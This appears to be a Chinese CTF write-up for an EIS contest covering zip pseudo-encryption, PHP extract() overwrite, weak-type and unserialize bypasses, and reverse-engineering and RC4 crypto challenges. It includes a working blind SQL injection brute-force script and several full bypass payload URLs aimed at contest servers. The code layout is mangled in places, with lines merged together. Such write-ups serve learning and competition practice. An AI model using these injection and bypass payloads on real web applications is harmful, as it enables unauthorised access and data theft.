下载压缩包,打开时提示加密,猜测可能是伪加密,于是用 010editor 把加密位去掉,置为
0。然后解压压缩包,发现里面有个 flag,怀着激动的心情打开一看,结果是这样的:
夜已降临之时,
我将自己裹在深邃的黑暗中, 在夜的最深处
期待着光明与无畏
PHP 代码审计
php 动态变量特性。
传入参数args=GLOBALS,显示所有变量,得到flag:
php trick
打开给的链接显示找flag,然后查看 html源码,看到了 index.php的源码
发现使用了extract 函数解析 get 参数,而下面函数要求有 gift 变量,所以 get 要传 gift变量过去
访问 http://202.120.7.221:2333/index.php?gift=ddd之后,出现提示“flag 被加密了 再加密一次就得到 flag 了”这个提示
接着看源码,发现 flag 变量是在 extract 函数之前的,所以可以通过extract 函数覆盖掉 flag 的值,程序接着会使用 file_get_contents 函数,以flag 作为参数,并使用伪协议 php://input 传入 post 的数据。只要使得flag 变量的值和 post 传入的数据一样,即可得到 flag。
比赛方要求的 flag 形式是 EIS{},RVF 显然不是,猜测是凯撒密码,解密得到 flag
Login
打开题目链接,还是熟悉的界面,还是熟悉的味道。用户名是 admin,尝试了一下发现是 sql 盲注,过滤了select、and、mid、substr 等关键字以及*、/、!、空格等特殊字符。但是单引号可以用,而&&可以绕过 and 的过滤,()可以绕过空格的过滤。
F12 审查元素可以得到提示。
脚本跑一下,得到密码为 fsaoaigafsdfsdubbwouibiaewrawe
import requestsimport string
string = 'qwertyuiopasdfghjklzxcvbnm'
p = ''
r=requests.session()print "start...."
for i in range(1,36): for j in string:
load="admin'&&left(pwd,%d)='%s%s'&&'1'='1" %(i,p,j)#print load
payload ={'uname':load, 'pwd':123} #print payload
result =
r.post("http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php",data=payload).text
#print result
if "password error!" in result: p=p+j
print p
print "end..."
登录得到 flag 为:EIS{SQLI_INJECTIion_blind}
不是管理员也能login
根据提示到说明与帮助处查看发现一段php 代码,限制条件为用户名的 md5 值等于 0(双等号),根据php 弱类型比较,可以通过传入 md5 值为 0e 开头的字符串绕过,如240610708
然后在这个页面 F12 审查元素,可以发现另一段 php 代码,发现是使用了反序列化函数。
同时也利用了 php 的特性,当整数与字符串弱比较(双等号)时,字符串会强制转换成整数
0,只要传进去的参数反序列化后值为整数 0,那么就可以绕过 if 语句中的判断。
Payload:userid=240610708&password=a:2:{s:4:"name";i:0;s:3:"pwd";i:0;}
得到 flag 为:EIS{Smi1E_on_YouR_face_And_in_y0ur_heart}
刷新几次,发现值会重复,猜测是:在几个数中随机选择一个作为种子,然后再生成随机数
所以,写个脚本,随便爆破出来一个种子就行了运行环境:ubuntu16.04
构 造 foofoo=array('param1'=>'2018abc','param2'=>array(array(array(1),0),0,2,3,4))
'param1'=>'2018abc',绕过
所以传入
foo=a:2:{s:6:"param1";s:7:"2018abc";s:6:"param2";a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2
;i:3;i:3;i:4;i:4;}}
接下来绕过
这里用到的技巧是,array 和 string 进行 strcmp 比较的时候会返回一个 null,%00 可以截断
eregi
传入fish=123%00&egg[0]=11MyAns11&egg[1][]=1111成功绕过
payload: http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php?fish=123%00&egg[0]=11MyAns11&egg[1][]=1111&foo=a:2:{s:6:%22param1%22;s:7:%222018abc%22;s:6:%22param2%22;a:5:{i:0;a:2:{i:0;a:1:{i:0;i:1;}i:1;i:0;}i:1;i:0;i:2;i:2;i:3;i:3;i:4;i:4;}}
得到 flag
下载之后用PEiD 检测无壳,用 OD 找特征 Unicode 码找到 Congratulations!直接用 IDA静态分析,进入主函数反编译。
由此跟进 sub_4011C0 函数。
得到:GONDPHyGjPEKruv{{pj]X@rF,由 strcmp 函数,当 GONDPHyGjPEKruv{{pj]X@rF和v4 相同时返回 0,分析上面的算法写出如下脚本。
# -*- coding:utf-8 -*-
byte_4420B0 =[0x0D, 0x13, 0x17, 0x11, 0x2, 0x1, 0x20, 0x1D, 0x0C, 0x2, 0x19, 0x2F, 0x17, 0x2B, 0x24, 0x1F, 0x1E, 0x16, 0x9, 0x0F, 0x15, 0x27, 0x13, 0x26, 0x0A, 0x2F, 0x1E, 0x1A, 0x2D, 0x0C, 0x22,
0x4]
v4 ="GONDPHyGjPEKruv{{pj]X@rF"
for i in range(0, 24):
for j in range(65, 123):
if ord(v4[i]) == (byte_4420B0[i] ^ ((j ^ 0x55) + 0x48)): if 0x40 < j< 0x5B:
j += 0x20
print(chr(j),end="")
得到 flag:EIS{wadx_tdgk_aihc_ihkn_pjlm}
密文对比的方法,可以看到先循环位移,然后再异或。加密 = 每位 ROL 2 xor 密钥对应的位数。反向推导一下就是 密文 xor 密钥 ROR 2。看的时候要注意这个变量的地址是连续的。
密文对比的方法,可以看到先循环位移,然后再异或
Crypto
easy crypto
we have key:hello world
看到只有一个 key 猜是对称加密
get buf unsigns[256] get buf t[256]
2 个 256 长度参数,然后是简单地用key 打乱 s 中的值、之后看到有异或操作基本确定是rc4
了
直接用 rc4 使用已知的 key 解密
# -*- coding: utf-8 -*-
def rc4_dec(enc_data, key): j = 0
s = range(256)
for i in range(256): j=(j+s[i]+ord(key[i%len(key)])) % 256 s[i], s[j] =s[j], s[i]
i = j = 0
result = []
for c in enc_data:
i= (i+1) % 256
j= (j+s[i]) % 256
s[i], s[j] =s[j], s[i] result.append(chr(ord(c)^s[(s[i]+s[j])%256]))
return ''.join(result)
flag =rc4_dec(open("enc.txt", "rb").read(), 'hello world') printflag
EIS{55a0a84f86a6ad40006f014619577ad3}